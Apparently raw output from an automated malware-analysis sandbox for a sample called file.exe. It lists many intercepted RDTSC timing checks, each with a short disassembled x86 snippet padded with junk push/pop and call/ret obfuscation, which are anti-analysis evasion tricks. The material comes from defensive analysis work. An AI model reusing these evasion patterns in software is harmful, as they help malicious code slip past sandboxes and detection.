Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CEB5 second address: F5CF54 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0CFCBDECD8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jns 00007F0CFCBDECE1h 0x00000016 pop eax 0x00000017 push esi 0x00000018 jnp 00007F0CFCBDECDCh 0x0000001e sub dword ptr [ebp+122D2EADh], eax 0x00000024 pop ecx 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F0CFCBDECD8h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 0000001Dh 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 jmp 00007F0CFCBDECE7h 0x00000046 push 00000000h 0x00000048 jl 00007F0CFCBDECDCh 0x0000004e mov dword ptr [ebp+122D2FD9h], edx 0x00000054 push 00000003h 0x00000056 sbb si, 2E00h 0x0000005b push 928D15B3h 0x00000060 pushad 0x00000061 jmp 00007F0CFCBDECE2h 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF54 second address: F5CF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF58 second address: F5CF5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF5C second address: F5CFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 2D72EA4Dh 0x0000000e mov cl, dl 0x00000010 lea ebx, dword ptr [ebp+12451CB6h] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F0CFCDA8E58h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 xchg eax, ebx 0x00000031 jnc 00007F0CFCDA8E61h 0x00000037 push eax 0x00000038 pushad 0x00000039 push edi 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c pop edi 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F0CFCDA8E65h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D007 second address: F5D049 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1D85h], esi 0x00000014 cld 0x00000015 push 00000000h 0x00000017 add dword ptr [ebp+122D2E72h], ebx 0x0000001d call 00007F0CFCBDECD9h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F0CFCBDECE8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D049 second address: F5D04D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D04D second address: F5D053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D053 second address: F5D059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D059 second address: F5D06B instructions: 0x00000000 rdtsc 0x00000002 js 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D06B second address: F5D076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0CFCDA8E56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D076 second address: F5D099 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F0CFCBDECDCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D099 second address: F5D09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D09D second address: F5D0A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D0A2 second address: F5D0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D0B5 second address: F5D0F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jng 00007F0CFCBDECECh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D0F1 second address: F5D13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E66h 0x00000009 popad 0x0000000a popad 0x0000000b pop eax 0x0000000c sbb cx, 068Ah 0x00000011 mov dword ptr [ebp+122D2332h], ebx 0x00000017 push 00000003h 0x00000019 movsx edx, dx 0x0000001c push 00000000h 0x0000001e xor dword ptr [ebp+122D23FCh], ecx 0x00000024 push 00000003h 0x00000026 mov esi, dword ptr [ebp+122D37E4h] 0x0000002c push ACD91FD5h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jnc 00007F0CFCDA8E56h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D13D second address: F5D143 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D143 second address: F5D14E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F0CFCDA8E56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D14E second address: F5D17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 1326E02Bh 0x0000000e add edi, 52BCDA8Ch 0x00000014 lea ebx, dword ptr [ebp+12451CBFh] 0x0000001a mov esi, dword ptr [ebp+122D2FD9h] 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F0CFCBDECDCh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F505 second address: F7F567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0CFCDA8E56h 0x0000000a jnc 00007F0CFCDA8E56h 0x00000010 popad 0x00000011 push ecx 0x00000012 jnp 00007F0CFCDA8E56h 0x00000018 jmp 00007F0CFCDA8E67h 0x0000001d pop ecx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F0CFCDA8E66h 0x00000029 jmp 00007F0CFCDA8E65h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B3A6 second address: F4B3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B3AC second address: F4B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D38D second address: F7D39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 je 00007F0CFCBDECD6h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D531 second address: F7D546 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0CFCDA8E5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D546 second address: F7D560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D69B second address: F7D69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D7FB second address: F7D80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnl 00007F0CFCBDECDCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D80D second address: F7D823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D823 second address: F7D829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D829 second address: F7D82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DAC3 second address: F7DAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DAC7 second address: F7DACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DACB second address: F7DAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DDE6 second address: F7DDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DF58 second address: F7DF78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0CFCBDECDEh 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7DF78 second address: F7DF7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E13B second address: F7E161 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F0CFCBDECE5h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F735C2 second address: F735C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F735C8 second address: F735CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F735CD second address: F735D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0CFCDA8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E68C second address: F7E692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E692 second address: F7E696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E696 second address: F7E6A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jnl 00007F0CFCBDECD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E6A7 second address: F7E6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC82 second address: F7EC88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC88 second address: F7ECA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E63h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ECA0 second address: F7ECA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ECA6 second address: F7ECAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ECAA second address: F7ECAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EE26 second address: F7EE2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80A7F second address: F80A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0CFCBDECDAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80A92 second address: F80A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E9B5 second address: F4E9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0CFCBDECD6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84919 second address: F8491E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8491E second address: F84935 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84AB8 second address: F84ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F832B3 second address: F832B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87AEB second address: F87AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F49C second address: F8F4A8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0CFCBDECDEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EBAF second address: F8EBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EBB5 second address: F8EBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EBB9 second address: F8EBBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FB76 second address: F8FB89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FC1E second address: F8FC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FC22 second address: F8FC26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FE28 second address: F8FE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FE2C second address: F8FE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90157 second address: F90173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90173 second address: F9018E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECE7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90286 second address: F9028C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90322 second address: F90329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90E0B second address: F90E15 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0CFCDA8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90E15 second address: F90E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90E99 second address: F90E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90E9D second address: F90F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F0CFCBDECE1h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F0CFCBDECDBh 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F0CFCBDECD8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f xchg eax, ebx 0x00000030 jmp 00007F0CFCBDECE4h 0x00000035 push eax 0x00000036 pushad 0x00000037 jmp 00007F0CFCBDECDFh 0x0000003c pushad 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92D8D second address: F92DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0CFCDA8E62h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92DA5 second address: F92DB7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0CFCBDECDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9343D second address: F93452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E60h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93452 second address: F93458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9351C second address: F93521 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9452D second address: F94549 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F0CFCBDECD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94549 second address: F94569 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0CFCDA8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0CFCDA8E62h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94FDF second address: F94FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94FE9 second address: F95034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 js 00007F0CFCDA8E6Bh 0x0000000f jmp 00007F0CFCDA8E65h 0x00000014 nop 0x00000015 jmp 00007F0CFCDA8E5Ah 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e or dword ptr [ebp+122D352Eh], edx 0x00000024 jng 00007F0CFCDA8E5Bh 0x0000002a mov edi, 3FEF7CB5h 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95034 second address: F9504B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F964B4 second address: F964B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F964B8 second address: F964BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96EC3 second address: F96ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0CFCDA8E5Ah 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96ED9 second address: F96EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96EDD second address: F96F6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jns 00007F0CFCDA8E56h 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F0CFCDA8E58h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F0CFCDA8E58h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 sub dword ptr [ebp+122D2E72h], ebx 0x0000004c or dword ptr [ebp+1247B2DCh], edx 0x00000052 push 00000000h 0x00000054 mov dword ptr [ebp+122D209Bh], ebx 0x0000005a jmp 00007F0CFCDA8E60h 0x0000005f xchg eax, ebx 0x00000060 jmp 00007F0CFCDA8E68h 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jp 00007F0CFCDA8E5Ch 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
